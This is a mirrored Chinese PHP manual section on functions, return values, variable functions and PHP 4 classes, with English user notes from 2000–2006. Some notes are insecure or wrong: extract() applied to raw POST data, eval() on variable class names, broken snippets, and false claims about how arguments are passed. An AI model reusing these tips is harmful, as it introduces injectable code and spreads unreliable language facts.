It is courios, becouse when you call a function with arguments passed via &$parameter syntax, func_get_args returns array of copies :-(

rwi
korba at korbs dot pl
30-May-2001 09:08
Don't try to pass func_get_arg() as an argument of the other function. So:
function foo() {
 foo2(func_get_arg(0));
}
won't work.
artiebob at go dot com
26-Feb-2001 05:48
here is the code to pass a user defined function as an argument.  Just like in the usort method.

func2("func1");
function func1 ($arg){
       print ("Hello $arg");
}
function func2 ($arg1){
       $arg1("World");  //Does the same thing as the next line
       call_user_func ($arg1, "World");
}
david at petshelter dot net
25-Jan-2001 03:23
With reference to the note about extract() by dietricha@subpop.com:

He is correct and this is great!  What he does not say explicitly is that the extracted variable names have the scope of the function, not the global namespace.  (This is the appropriate behavior IMO.)  If for some reason you want the extracted variables to be visible in the global namespace, you must declare them 'global' inside the function.
alex at networkessence dot com
24-Jan-2001 06:28
I found this useful:

You can call a function by using the value of a string.

function test() {
   echo "hello world";
   }

$string = "test";

$string();

would output "hello world"
marvinalone at gmx dot net
07-Jan-2001 10:19
Nice to know is this:

If you call a function giving an unset variable, it will be unset in the function. Consider this:

function my_test ($var) {
   if (isset ($var)) echo ("set");
}

my_test ($unused);

This will _not_ echo "set", regardless of the variable being passed by value or by reference.

(If my newlines are messed up, sorry, this seems to be a konqueror problem)
dietricha at subpop dot com
10-Oct-2000 04:39
if you compiled with "--enable-track-vars" then an easy way to get variable function args is to use extract().

$args = array("color" = "blue","number" = 3);

function my_func($args){
extract($args);
echo $color;
echo $number;
}

the above strategy makes it real easy to globalize form data within functions, or to pass form data arrays to functions:

<input type="text" name="test[color]" value="blue">
etc, etc.
Then in your function, pass $test to extract() to turn the array data into global vars.

 or

function my_func($HTTP_POST_VARS){
 extract($HTTP_POST_VARS);
 // use all your vars by name!
  }
coop at better-mouse-trap dot com
10-Oct-2000 11:59
If you prefer to use named arguments to your functions (so you don't have to worry about the order of variable argument lists), you can do so PERL style with anonymous arrays:

function foo($args)
{
   print "named_arg1 : " . $args["named_arg1"] . "\n";
   print "named_arg2 : " . $args["named_arg2"] . "\n";
}

foo(array("named_arg1" => "arg1_value", "named_arg2" => "arg2_value"));

====== will output: =======

named_arg1 : arg1_value
named_arg2 : arg2_value
almasy at axisdata dot com
21-Aug-2000 07:11
Re: Passing By Reference Inside A Class

Passing arguments by reference does work inside a class.  When you do:

   $this->testVar = $ref;

inside setTestVar(), you're copying by value instead of copying by reference.  I think what you want there is this:

   $this->testVar = &$ref;

Which is the new "assign by reference" syntax that was added in PHP4.
dmb27 at cornell dot edu
13-Jul-2000 12:50
The first comment should use func_get_arg(0) and func_get_arg(1) to refer to the 2 parameters (and not func_get_arg(2) ).  func_get_arg() starts counting at 0, so the first parameter is func_get_arg(0) and the second is func_get_arg(1)
ak at avatartech dot com
25-Apr-2000 01:19
One interesting thing I've noticed:

function foo() {  // accepts any number of arguments
  bar()
}

function bar($x,$y) {  // same
  print("$x $y");
}

foo("one","two);

OUPUT: "one two"

That is, PHP will automatically pass all the variables passed to foo() into bar() if you don't pass them explicitly. I'm not sure how far this extends (i.e. if you pass just one variable, will the rest still get tacked on? etc), but it's interesting, and undocumented.
22-Apr-2000 05:45
You may pass any number of extra parameters to a function, regardless of the prototyping. In addition, the arguments passed to a function will be available via the variable names defined in the function prototype, as well as via the func_get_arg() and func_get_args() functions.

For example:
function printme ($arg) {
   for ($ndx = 0; $ndx < $num_args; ++$ndx)
       $output .= func_get_arg ($ndx);

   print $output;
}

printme ("one ", "two"); # This prints "one two".

This behavior is useful for setting default values for function arguments and for ensuring that a certain number of arguments get passed to a function.
add a note add a note

后退 | 起点 | 前进
函数 | 上一级 | 返回值


返回值

值通过使用可选的返回语句返回。任何类型都可以返回，其中包括列表和对象。这导致函数立即结束它的运行，并且将控制权传递回它被调用的行。更多信息见 return()。

例子 17-11. return() 的用法

<?php
function square($num)
{
    return $num * $num;
}
echo square(4);   // outputs '16'.
?>

函数不能返回多个值，但为了获得简单的结果，可以返回一个列表。

例子 17-12. 返回一个数组以得到多个返回值

<?php
function small_numbers()
{
    return array (0, 1, 2);
}
list ($zero, $one, $two) = small_numbers();
?>

从函数返回一个引用，必须在函数声明和指派返回值给一个变量时都使用引用操作符 & ：

例子 17-13. 由函数返回一个引用

<?php
function &returns_reference()
{
    return $someref;
}

$newref =& returns_reference();
?>

有关引用的更多信息, 请查看引用的解释。

add a note add a note User Contributed Notes
Trevor Blackbird > yurab.com
19-Apr-2006 07:36
You can also use the compact-extract pair to return multiple values:

<?php

function Composite($x, $y) {
   $sum = $x + $y;
   $dif = $x - $y;
   return compact('sum', 'dif');
}

extract(Composite(3, 4));
echo $sum;
echo $dif;

?>
nick at itomic.com
04-Aug-2003 03:56
Functions which return references, may return a NULL value. This is inconsistent with the fact that function parameters passed by reference can't be passed as NULL (or in fact anything which isnt a variable).

i.e.

<?php

function &testRet()
{
   return NULL;
}

if (testRet() === NULL)
{
   echo "NULL";
}
?>

parses fine and echoes NULL
rusty at socrates dot berkeley dot edu
18-Jul-2003 05:48
Here's a sick idea.  When a function returns no value, if you assign its return value to a variable that variable will be unset.  So instead of returning -1 on error just return with no value.

For example,

function myfunc($myvar) {
  if ($myvar == "abc")
   return(1);

  if ($myvar == "xyz")
   return(2);

  return;
}

$abc = myfunc("def");

if (isset($abc))
   echo("a-ok");
else
  echo("oops");
LouisGreen at pljg dot freeserve dot co dot uk
26-Mar-2003 02:13
It seems that when you wish to export a varible, you can do it as return $varible, return an array(), or globalise it. If you return something, information for that varible can only travel one way when the script is running, and that is out of the function.

function fn() {
   $varible = "something";

  return $varible;
}

echo fn();
OR
$newvarible = fn();

Although if global was used, it creates a pointer to a varible, whether it existed or not, and makes whatever is created in the function linked to that global pointer. So if the pointer was global $varible, and then you set a value to $varible, it would then be accessible in the global scope. But then what if you later on in the script redefine that global to equal something else. This means that whatever is put into the global array, the information that is set in the pointer, can be set at any point (overiden). Here is an example that might make this a little clearer:

function fn1() {

   global $varible; // Pointer to the global array
   $varible = "something";
}

fn1();
echo $varible; // Prints something
$varible = "12345";
echo $varible; // Prints 12345

function fn2() {

   global $varible; // Pointer to the global array
   echo $varible;
}

fn2(); // echos $varible which contains "12345"

Basically with the global array, you can set it refer to something already defined or set it to something, (a pointer) such as varible you plan to create in the function, and later possibly over ride the pointer with something else.
ian at NO_SPAM dot verteron dot net
15-Jan-2003 08:28
In reference to the poster above, an additional (better?) way to return multiple values from a function is to use list(). For example:

function fn($a, $b)
{
   # complex stuff

   return array(
     $a * $b,
     $a + $b,
   );
}

list($product, $sum) = fn(3, 4);

echo $product; # prints 12
echo $sum; # prints 7
devinemke at yahoo dot com
27-Jun-2002 02:45
A function can only return one value, but that value can be an array or other compound value.  If you want to just define several variables into the global scope within your function you can do two things:

1. return an array from your function and then run the extract() function

$result_array = test ();
extract ($result_array);

2. Or you can just append the variables to the $GLOBALS array:

$array = array ('first' => 'john', 'middle' => 'q', 'last' => 'public');
function upper_case () {
global $array;
foreach ($array as $key => $value)
{
$GLOBALS[$key] = strtoupper ($value);
}
}

upper_case ();
echo "$first $middle $last";
// returns JOHN Q PUBLIC

In this second example you can create multiple values without necessarily returning anything from the function.  This may be handy for applying several functions (stripslashes, trim, etc..) accross all elements of $_POST or $_GET and then having all of the newly cleaned up variables extracted out for you.
destes at ix dot netcom dot com dot nospam
04-Mar-2002 04:35
One thing to note about returning arrays- the usual "complex variable" syntax will give you a parse error.  For instance, if you have:

function adminstuff() {
   mysql_connect('localhost', 'user', 'pass');
   mysql_select_db('mydb');
   $result = mysql_query('SELECT login, pass FROM users);
   $resultrow = mysql_fetch_array( $result );

   # this next line is key:
   return array ({$resultrow['login']}, {$resultrow['pass']});
}

That won't work.  You *can* reference array elements without the curly-braces syntax, i.e.:

return array ($resultrow['login'], $resultrow['pass']);

But you'll get a parse error if you try to use curly braces.  Thanks,

Steve
php at control-escape dot com
26-Apr-2001 03:26
PHP functions that do not explicitly return a value will be 'void', that is, they return 'null'. C programmers will be accustomed to this already, but folks coming from Perl may expect the return value of a function to be the return value of the last expression evaluated inside the function, as is the case with Perl. Not so.
add a note add a note

后退 | 起点 | 前进
函数的参数 | 上一级 | 变量函数


变量函数

PHP 支持变量函数的概念。这意味着如果一个变量名后有圆括号，PHP 将寻找与变量的值同名的函数，并且将尝试执行它。除了别的事情以外，这个可以被用于实现回调函数，函数表等等。

变量函数不能用于语言结构，例如 echo()，print()，unset()，isset()，empty()，include()，require() 以及类似的语句。需要使用自己的外壳函数来将这些结构用作变量函数。

例子 17-14. 变量函数示例

<?php
function foo() {
    echo "In foo()<br />\n";
}

function bar($arg = '') {
    echo "In bar(); argument was '$arg'.<br />\n";
}

// This is a wrapper function around echo
function echoit($string)
{
    echo $string;
}

$func = 'foo';
$func();        // This calls foo()

$func = 'bar';
$func('test');  // This calls bar()

$func = 'echoit';
$func('test');  // This calls echoit()
?>

还可以利用变量函数的特性来调用一个对象的方法。

例子 17-15. 变量方法范例

<?php
class Foo
{
    function Variable()
    {
        $name = 'Bar';
        $this->$name(); // This calls the Bar() method
    }

    function Bar()
    {
        echo "This is Bar";
    }
}

$foo = new Foo();
$funcname = "Variable";
$foo->$funcname();   // This calls $foo->Variable()

?>

请参阅 call_user_func()，可变变量和 function_exists()。

add a note add a note User Contributed Notes
boards at gmail dot com
23-Jan-2006 02:07
If you want to call a static function (PHP5) in a variable method:

Make an array of two entries where the 0th entry is the name of the class to be invoked ('self' and 'parent' work as well) and the 1st entry is the name of the function.  Basically, a 'callback' variable is either a string (the name of the function) or an array (0 => 'className', 1 => 'functionName').

Then, to call that function, you can use either call_user_func() or call_user_func_array().  Examples:

<?php
class A {

  protected $a;
  protected $c;

  function __construct() {
   $this->a = array('self', 'a');
   $this->c = array('self', 'c');
  }

  static function a($name, &$value) {
   echo $name,' => ',$value++,"\n";
  }

  function b($name, &$value) {
   call_user_func_array($this->a, array($name, &$value));
  }

  static function c($str) {
   echo $str,"\n";
  }

  function d() {
   call_user_func_array($this->c, func_get_args());
  }

  function e() {
   call_user_func($this->c, func_get_arg(0));
  }

}

class B extends A {

  function __construct() {
   $this->a = array('parent', 'a');
   $this->c = array('self', 'c');
  }

  static function c() {
   print_r(func_get_args());
  }

  function d() {
   call_user_func_array($this->c, func_get_args());
  }

  function e() {
   call_user_func($this->c, func_get_args());
  }

}

$a =& new A;
$b =& new B;
$i = 0;

A::a('index', $i);
$a->b('index', $i);

$a->c('string');
$a->d('string');
$a->e('string');

# etc.
?>
Storm
03-May-2005 11:34
This can quite useful for a dynamic database class:

(Note: This just a simplified section)

<?php
class db {

   private $host = 'localhost';
   private $user = 'username';
   private $pass = 'password';
   private $type = 'mysqli';

   public $lid = 0;

   // Connection function
   function connect() {
       $connect = $this->type.'_connect';

       if (!$this->lid = $connect($this->host, $this->user, $this->pass)) {
           die('Unable to connect.');
       }
 }
}
$db  = new db;
$db->connect();
?>

Much easier than having multiple database classes or even extending a base class.
ian at NO_SPAM dot verteron dot net
20-Dec-2002 11:33
A good method to pass around variables containing function names within some class is to use the same method as the developers use in preg_replace_callback - with arrays containing an instance of the class and the function name itself.

function call_within_an_object($fun)
{
  if(is_array($fun))
  {
   /* call a function within an object */
   $fun[0]->{$fun[1]}();
  }
  else
  {
   /* call some other function */
   $fun();
  }
}

function some_other_fun()
{
  /* code */
}

class x
{
  function fun($value)
  {
   /* some code */
  }
}

$x = new x();

/* the following line calls $x->fun() */
call_within_an_object(Array($x, 'fun'));

/* the following line calls some_other_fun() */
call_within_an_object('some_other_fun');
madeinlisboa at yahoo dot com
05-Sep-2002 08:14
Finally, a very easy way to call a variable method in a class:

Example of a class:

class Print() {
   var $mPrintFunction;

   function Print($where_to) {
       $this->mPrintFunction = "PrintTo$where_to";
   }

   function PrintToScreen($content) {
       echo $content;
   }

   function PrintToFile($content) {
       fputs ($file, $contents);
   }

.. .. ..

   // first, function name is parsed, then function is called
   $this->{$this->mPrintFunction}("something to print");
}
msmith at pmcc dot com
03-May-2002 07:49
Try the call_user_func() function.  I find it's a bit simpler to implement, and at very least makes your code a bit more readable... much more readable and simpler to research for someone who isn't familiar with this construct.
anpatel at NOSPAM_cbu dot edu
18-Mar-2002 01:11
Yes interpolation can be very tricky. I suggest that you always use parenthesis, or curly brackets(whichever applies) to make your expression clear.

Dont ever depend on a language's expression parse preference order.
retro at enx dot org
14-Jan-2002 11:18
Another way to have php parse a variable within an object as a function is to simply set a temporary variable to its value. For example:

$obj->myfunction = "foo";
$x = $obj->myfunction;
$x(); // calls the function named "foo"
add a note add a note

后退 | 起点 | 前进
返回值 | 上一级 | 内部（内置）函数


内部（内置）函数

PHP 有很多标准的函数和结构。还有一些函数需要和特定地 PHP 扩展模块一起编译，否则在使用它们的时候就会得到一个致命的“未定义函数”错误。例如，要使用图像函数比如 imagecreatetruecolor()，需要在编译 PHP 的时候加上 GD 的支持。或者，要使用 mysql_connect() 函数，就需要在编译 PHP 的时候加上 MySQL 支持。有很多核心函数已包含在每个版本的 PHP 中如字符串和变量函数。调用 phpinfo() 或者 get_loaded_extensions() 可以得知 PHP 加载了那些扩展库。同时还应该注意，很多扩展库默认就是有效的。PHP 手册按照不同的扩展库组织了它们的文档。请参阅配置，安装以及各自的扩展库章节以获取有关如何设置 PHP 的信息。

手册中如何阅读函数原型讲解了如何阅读和理解一个函数的原型。确认一个函数将返回什么，或者函数是否直接作用于传递的参数是很重要的。例如，str_replace() 函数将返回修改过的字符串，而 usort() 却直接作用于传递的参数变量本身。手册中，每一个函数的页面中都有关于函数参数、行为改变、成功与否的返回值以及使用条件等信息。了解这些重要的（常常是细微的）差别是编写正确的 PHP 代码的关键。

参见 function_exists()，函数参考，get_extension_funcs() 和 dl()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
变量函数 | 上一级 | 类与对象（PHP 4）


类与对象（PHP 4）

PHP 手册
后退 前进

章 18. 类与对象（PHP 4）

目录
类
继承
构造函数
作用域分辨运算符（::）
parent
序列化对象 － 会话中的对象
魔术函数 __sleep 和 __wakeup
构造函数中的引用
对象的比较

类

类是变量与作用于这些变量的函数的集合。使用下面的语法定义一个类：

<?php
class Cart {
    var $items;  // 购物车中的物品

    // 将 $num 个 $artnr 物品加入购物车

    function add_item($artnr, $num) {
        $this->items[$artnr] += $num;
    }

    // 将 $num 个 $artnr 物品从购物车中取出

    function remove_item($artnr, $num) {
        if ($this->items[$artnr] > $num) {
            $this->items[$artnr] -= $num;
            return true;
        } elseif ($this->items[$artnr] == $num) {
            unset($this->items[$artnr]);
            return true;
        } else {
            return false;
        }
    }
}
?>

上面的例子定义了一个 Cart 类，这个类由购物车中的商品构成的数组和两个用于从购物车中添加和删除商品的函数组成。

警告

不能将一个类的定义分割到多个文件中。也不能将一个类的定义分割到多个 PHP 块中，除非该分割是在一个方法声明内部。以下用法将不起作用：

<?php
class test {
?>
<?php
    function test() {
        print 'OK';
    }
}
?>

但是以下用法是可以的：

<?php
class test {
    function test() {
        ?>
        <?php
        print 'OK';
    }
}
?>

以下警告仅用于 PHP 4。

注意

名称 stdClass 已经被 Zend 使用并保留。不能在 PHP 代码中定义名为 stdClass 的类。

注意

函数名 __sleep 和 __wakeup 在 PHP 类中是魔术函数。除非想要与之联系的魔术功能，否则在任何类中都不能以此命名函数。

注意

PHP 将所有以 __ 开头的函数名保留为魔术函数。除非想要使用一些见于文档中的魔术功能，否则建议不要在 PHP 中将函数名以 __ 开头。

在 PHP 4 中，var 变量的值只能初始化为常量。用非常量值初始化变量，需要一个初始化函数，该函数在对象被创建时自动被调用。这样一个函数被称之为构造函数（见下面）。

<?php
/* PHP 4 中不能这样用 */
class Cart {
    var $todays_date = date("Y-m-d");
    var $name = $firstname;
    var $owner = 'Fred ' . 'Jones';
    /* 不过包含有常量的数组可以 */
    var $items = array("VCR", "TV");
}

/* 应该这样进行 */
class Cart {
    var $todays_date;
    var $name;
    var $owner;
    var $items = array("VCR", "TV");
    function Cart() {
        $this->todays_date = date("Y-m-d");
        $this->name = $GLOBALS['firstname'];
        /* etc. . . */
    }
}
?>

类也是一种类型，就是说，它们是实际变量的蓝图。必须用 new 运算符来创建相应类型的变量。

<?php
$cart = new Cart;
$cart->add_item("10", 1);

$another_cart = new Cart;
$another_cart->add_item("0815", 3);
?>

上述代码创建了两个 Cart 类的对象 $cart 和 $another_cart，对象 $cart 的方法 add_item() 被调用时，添加了 1 件 10 号商品。对于对象 $another_cart，3 件 0815 号商品被添加到购物车中。

$cart 和 $another_cart 都有方法 add_item()，remove_item() 和一个 items 变量。它们都是明显的函数和变量。可以把它们当作文件系统中的某些类似目录的东西来考虑。在文件系统中，可以拥有两个不同的 README.TXT 文件，只要不在相同的目录中。正如从为了根目录访问每个文件需要输入该文件的完整的路径名一样，必须指定需要调用的函数的完整名称：在 PHP 术语中，根目录将是全局名字空间，路径名符号将是 ->。因而，名称 $cart->items 和 $another_cart->items 命名了两个不同的变量。注意变量名为 $cart->items，不是 $cart->$items，那是因为在 PHP 中一个变量名只有一个单独的美元符号。

<?php
// 正确，只有一个 $
$cart->items = array("10" => 1);

// 不正确，因为 $cart->$items 变成了 $cart->""
$cart->$items = array("10" => 1);

// 正确，但可能不是想要的结果：
// $cart->$myvar 变成了 $cart->items
$myvar = 'items';
$cart->$myvar = array("10" => 1);
?>

在定义类的时候，无法得知将使什么名字的对象来访问：在编写 Cart 类时，并不知道之后对象的名称将会命名为 $cart 或者 $another_cart。因而你不能在类中使用 $cart->items。然而为了类定义的内部访问自身的函数和变量，可以使用伪变量 $this 来达到这个目的。$this 变量可以理解为“我自己的”或者“当前对象”。因而 '$this->items[$artnr] += $num' 可以理解为“我自己的物品数组的 $artnr 计数器加 $num”或者“在当前对象的物品数组的 $artnr 计数器加 $num”。

注: 伪变量 $this 通常未定义，如果其所在的方法是被静态调用的话。但这不是个严格规定：如果一个方法被从另一个对象内静态调用的话，则 $this 会被定义。此时 $this 的值是那个发出调用的对象。用下例演示：

<?php
class A
{
    function foo()
    {
        if (isset($this)) {
            echo '$this is defined (';
            echo get_class($this);
            echo ")\n";
        } else {
            echo "\$this is not defined.\n";
        }
    }
}

class B
{
    function bar()
    {
        A::foo();
    }
}

$a = new A();
$a->foo();
A::foo();
$b = new B();
$b->bar();
B::bar();
?>

上例将输出：

$this is defined (a)
$this is not defined.
$this is defined (b)
$this is not defined.

注: 有一些不错的函数用来处理类和对象。应该关注一下类／对象函数。

add a note add a note User Contributed Notes
chris at simplekiosks dot com
14-Apr-2006 12:31
I took the above examples and extented them slightly to also allow you to run any function in the subclass without having to first declare it in the main class.

Enjoy

<?php

class mainClass
{
   /*
   * Class loading function.
   *
   *
   *
   *
   */

       var $module;

       function LoadClass($loadModule)
       {
             $this->module = new $loadModule; // this is much better
       }

       function RunFunction($FunctionName)
       {
           $this->module->$FunctionName();
       }

       function ListFunctions()
       {

       }

     // function out()
     //{
     //    $this->module->out();
     // }
}

class subclass
{
   function out()
   {
       echo "Worked";
   }

   function NewFunction()
   {
       echo "<br>Good Lord<br>";
   }

   function ThirdFunction()
   {
       echo "<br>eh....<br>";

   }
}

echo "Start of class manulapations<br>";
//$loadModule = new subclass;
$mainclass=new mainClass;
$mainclass->LoadClass("subclass");
//$mainclass->out();
$mainclass->RunFunction('NewFunction');
//$mainclass->ThirdFunction();
echo "End of class manulapation<br>";
?>
Leonel Quinteros
09-Feb-2006 10:57
PHP Allow to extend a class in a dinamic way into a object and only affects that object not the others of the same class.

I was developing a persistence class and i found this:

<?php
class MyClass {
   var $Prop1;

   // Into the constructor i create a propertie that was not declared before.
   function MyClass() {
       $this->Prop2 = "This was not declared but now exists into the object";
   }

   function setProp($PropName, $PropValue) {
       $this->$PropName = $PropValue;
   }
}

$MyObj = new MyClass();
$MyObj->setProp("Prop1", "This was declared and now has value");
$MyObj->setProp("Prop3", "This was declared by setProp() method.");
$MyObj->Prop4 = "This was declared out of the class definition";

echo "Prop1: ".$MyObj->Prop1." <br />\r\n";
echo "Prop2: ".$MyObj->Prop2." <br />\r\n";
echo "Prop3: ".$MyObj->Prop3." <br />\r\n";
echo "Prop4: ".$MyObj->Prop4." <br />\r\n";

?>

This could be very useful, but very dangerous too, take care.
Wolverine
02-Feb-2006 01:30
In case you would like to interrupt object construction on some condition and return false for further checking:

<?php
class Foo
{
     // Constructor
     function Foo()
     {
           /*  Some inits here */

           $someval=false;

           if ($someval===false)
           {
               return false;
           }
     }
}

$obj=new Foo();    // This won't work and will return partially initialised object instead of false

class Bar
{
     // Constructor
     function Bar()
     {
           /*  Some inits here */

           $someval=false;

           if ($someval===false)
           {
               $this=false;
               return;
           }
     }
}

$obj2=new Bar();    // This will work as expected and return false
?>

Hope this helps some people.
Karim Ahmed
21-Oct-2005 03:46
This class method allows you to take a nice associative array of parameters into your class when the number of parameters gets unmanagable and/or has lots of default-value parameters.

It is so useful I suggest putting on a general base class (I call mine Object) so all your descendents can use it.

-----------------------------------------------------

Code:

-----------------------------------------------------

   function setClassVars( &$parameter_array )
   {
       $class            = get_class($this);
       $class_vars = get_class_vars($class);
       /*
       * check that each of the passed parameters are valid before setting the
       * appropriate class variable.
       */
       foreach ( $parameter_array as $var => $value ){
           if ( array_key_exists( $var, $class_vars ) ){
               $this->$var = $value;
           }
           else{
               $this->raiseError(
                   'setClassVars: class variable "' .
                   $var .
                   '" does not exist on class "' .
                   $class . '"'
               );
           }
       }
   }
-----------------------------------------------------

for example:

A complicated, messy, class method Before:

-----------------------------------------------------
 render(
  &$business_object,
  $on_change=false,
  $on_blur=false,
  $options=false
  $name
 ){
   $this->business_object = $business_object;
   $this->name = $name;
   $this->on_blur = $on_blur;
   $this->options = $options;
   <code>
}
-----------------------------------------------------

A nice clean method After:

-----------------------------------------------------
 render(
  &$parameter_array
 ){
   $this->setClassVars($parameter_array);
   <code>
}
-----------------------------------------------------

Example call:

-----------------------------------------------------
$parameter_array =
 array(

  'business_object' => $business_object,
  'name' => $field_name,
  'on_change' => 'form.submit()',
  'on_blur' => 'javascript:validate()',

  $options =>
   array(
     '1' => 'None Selected',
     '2' => 'Blue',
     '3' => 'Red'

   )
 );

$my_object->render( &$parameters );
-----------------------------------------------------

Now isn't that easier to read AND maintain. Now you can change your API without the hassle of amending every call to the method! You no longer have to worry about where the default params are or even the order of your params.

I hope someone else who has been swearing at their code finds this useful ;-)
GamblerZG
14-Oct-2005 10:27
To pascal dot poncet at netconsult dot com:

That's why MySQL has aliases. You can simply do this:
<?php
mysql_query("SELECT found_rows() AS found_rows");
?>
pascal dot poncet at netconsult dot com
13-Oct-2005 10:22
Subject: using "sql_calc_found_rows" in a MySQL query while exploiting result in a PHP db class object.

Hello,

There is a nice function in MySQL that allows to know how many records would have been returned if no "where" clause were set : SQL_CALC_FOUND_ROWS.

If you have create a db object to collect the returned lines, you will be a little perplex when trying to call the result of this function.

Why ?
Simply because the returned field's name is "found_rows()" and obviously it's not possible to call something like :

<?php $result->found_rows() ?>

...as it will try to acces a method, not a property !

Then, the only way to get the right result seems to be the use of a class function, like :

<?php
  $db->query("select found_rows()");
  $count=current(get_object_vars(current($db->result)));
?>

Of course, if somebody found an other way to solve it, like a special syntax (see the one used with curled arrays in a string), I'm really open to discuss.

Good luck,
Pascal
Felix M dot Palmen <fmp at palmen dot homeip dot net>
11-Oct-2005 04:18
My way to implement a singleton in PHP4. I think it's the most convenient one since it works transparently using the constructor. Thanks to S.Radovanovic for his idea with referencing the class' variables, posted on http://www.php.net/manual/en/language.variables.scope.php

<?php

/* Singleton. Every instatiation returns the "same" object.
 *
 * for this to work, ALWAYS create objects with $object =& new class().
 * The reference operator doesn't do any harm in general and is
 * necessary for singletons.
 *
 * You also need to declare all the class' variables with "var" for
 * a singleton subclass. But that should always be a rule of good
 * design :)
 *
 * call parent::singleton() first in your subclass constructor.
 *
 * Of course, the subclass constructor should check if the object is already
 * initialized before doing any initialization.
 */

class singleton
{

  function singleton()
  {
   // static associative array containing the real objects, key is classname
   static $instances=array();

   // get classname
   $class = get_class($this);

   if (!array_key_exists($class, $instances))
   {
     // does not yet exist, save in array
     $instances[$class] = $this;
   }

   // PHP doesn't allow us to assign a reference to $this, so we do this
   // little trick and fill our new object with references to the original
   // class' variables:
   foreach (get_class_vars($class) as $var => $value)
   {
     $this->$var =& $instances[$class]->$var;
   }
  }

}

?>
dave at davidhbrown dot us
04-Oct-2005 12:10
It appears that one must use eval if calling a static function  where the name of the class is in a variable:

     echo $class::staticfunc();

gets you a "parse error, unexpected T_PAAMAYIM_NEKUDOTAYIM" (in PHP 4.4.0)

while
   echo eval("return $class::staticfunc();");

behaves as desired.

Contrast this limitation with `->`which will accept a variable on both sides -- e.g., $myClass->$myFunc() -- and, of course, new $myClass is perfectly happy. The expression myClass::$myFunc() also works.
ia [AT] zoznam [DOT] sk
28-Sep-2005 05:45
to Menno Vanderlist:
And why bother to use eval?

<?php
class mainClass
{ //mainClass
       var $module;

       function mainClass($loadModule)
       { // load modules
               //eval("\$this->module = new $loadModule;");

               $this->module = new $loadModule; // this is much better
       }

       function out()
       { //print out of loaded module
               $this->module->out();
       }
}
?>

Functionality is the same, without the overhead when using eval().
Menno Vanderlist
30-Jul-2005 12:31
Using the extends statement with classes works, but it did the reverse of what I wanted. I want a modules hiearchy that adds a module into the main module. So I tried the following, after not finding anyone else who has done it, and it worked :)

<?php

class subClassA
{ //subClassA
       function out()
       { //subClassA::outA()
               echo "testing subClassA\n";
       }
}

class subClassB
{ //subClassB
       function out()
       { //subClassB::outB()
               echo "testing subClassB\n";
       }
}

class mainClass
{ //mainClass
       var $module;

       function mainClass($loadModule)
       { // load modules
               eval("\$this->module = new $loadModule;");
       }

       function out()
       { //print out of loaded module
               $this->module->out();
       }
}

$mainA=new mainClass('subClassA');
$mainA->out();
$mainB=new mainClass('subClassB');
$mainB->out();
?>

outputs:
testing subClassA
testing subClassB
Niels Jaeckel
25-Apr-2005 04:37
My problem was, to write a class-method, that destroyes the class itself. After many hours I found the (assured) only possibility to implement this:

class A {

   function A() {

   }

   function DESTROY() {

     // this would not work:
     // unset($this);

     // but this:
     settype(&$this, 'null');

   }

}

This test-code worked on PHP 4.3.1:

$objA = new A();
var_dump($objA);        // Object...

$objA -> DESTROY();
var_dump($objA);        // NULL !!!

hth,
Niels
alberto dot delatorre at gmail dot com
12-Feb-2005 07:11
If you have a class hierarchy as this:

<?php
   abstract class A{
       //construct ommited
       public function load(){
           $this->_load();
       }

       protected abstract function _load();
   }

   class B extends A{
       protected function _load(){
           echo "loaded";
       }
   }

   $b = new B();
   $b->load();
?>

you encountered that you will have a 'calling an abstract method' in the line with '$this->_load'. To avoid this, just make another reference to $this and then call the method you'd want, this way:

<?php
   abstract class A{
       //construct ommited
       public function load(){
           $aux_this=&$this;
           $aux_this->_load();
       }

       protected abstract function _load();
   }

   class B extends A{
       protected function _load(){
           echo "loaded";
       }
   }

   $b = new B();
   $b->load();
?>
arjini at gmail dot com
05-Feb-2005 05:56
Didn't see this anywhere obvious, so I'm posting it here. To access a memeber of an array with another variable you use $arr[$name]

To access a class method or property, you use $obj->{$name} You can also use the return value of a function.

<?php
   class Test {
       function methodName(){
           echo 'works!';
       }
   }

   function getName(){
       return 'methodName';
   }

   $t = new Test();
   $t->{getName()}();

//works!
?>
spam at modem-help dot com
24-Jan-2005 01:32
Although the php 4.2.2 parser and variable storage are case-sensitive, classes + class-function + function declaration *storage* are not.

To example this, consider the following:

[note: constructor is `sendfile()', not `SendFile()' nor `sendFile()']
<?php
   class SendFile {
   // variables declared here

     function SendFile() {
     // function defined here
     }

     function sendFile() {
     // function defined here
     }

     function sendfile() {
     // function defined here
     }

   } // end class SendFile
?>

This was eventually illuminated by:

<?php
   print_r( get_declared_classes());
?>

...in which a snippet of the result is:

Array
(
   [0] => stdClass
   [1] => __PHP_Incomplete_Class
   [2] => Directory
   [3] => DomNode
   [4] => DomDocument
   [5] => DomParser
...
   [24] => sendfile
)

Specifically, it appears that php has used initial-caps for all of it`s own (internal) classes, but that all user-classes are stored lower-cased, as are class + ordinary functions.

Written in the hope of saving someone else time & grief from this interesting `feature'.
rdc_uk
23-Jan-2005 12:44
Just found this interesting "gotcha";

If you implement a class with no member variables, calling the constructor does NOT produce an object. This can be a source of (great) consternation when producing classes which need no data storage.

Essentially if your class has no data members, all its methods are ONLY available statically, this can be a pain if defining object hierarchies with abstract base classes...

Example:

class A
{
  function A()
  {
     $i = 0; // not an empty constructor!
  }

  function fn()
  {
   return "A";
  }
}

$obj_a = new A();

$obj_a == null
$obj_a->fn(); will generate an error
A::fn(); works

Simply putting a "var $status=0;" in the class suddenly makes your object instantiatable.

This is certainly a "quirk" in an OO implementation, possibly a bug, definitely worth watching out for...
php dot net at mechintosh dot com
06-Dec-2004 07:52
While it is possible to use the names of existing PHP functions for class method names (not that you *should*, however sometimes there's really only one good name for a method even if it's taken..), you cannot use the names of language constructs like list(), echo, print etc, and appearantly also not of eval().

But you probably shouldn't be using PHP functionnames anyway :-)
email at richardlee dot info
06-Sep-2004 01:11
An example of how to pass an object back into its own class for direct use.

(thisClass.php)

<?php

class thisClass{

   var $var1;

   function thisClass($value)
       {$this->var1 = $value;}

   function set_var1($value)
       {$this->var1 = $value;}
   function get_var1()
       {return $this->var1;}

   function showVar()
       {echo "<p>var1 = ".$this->var1."</p>";}

   function callShowVar($object)
       {$object->showVar();}

   function copyObject($object)
       {$this->var1 = $object->get_var1();}

}

?>

(test.php)
<?php

require_once('class.php');

$thisObject = new thisClass(3);
$thatObject = new thisClass(1);

$thatObject->callShowVar($thisObject); //outputs "var1 = 3"

$thisObject->showVar(); //outputs "var1 = 3"
$thatObject->showVar(); //outputs "var1 = 1"
$thatObject->copyObject($thisObject);
$thatObject->showVar(); //outputs "var1 = 3"

?>
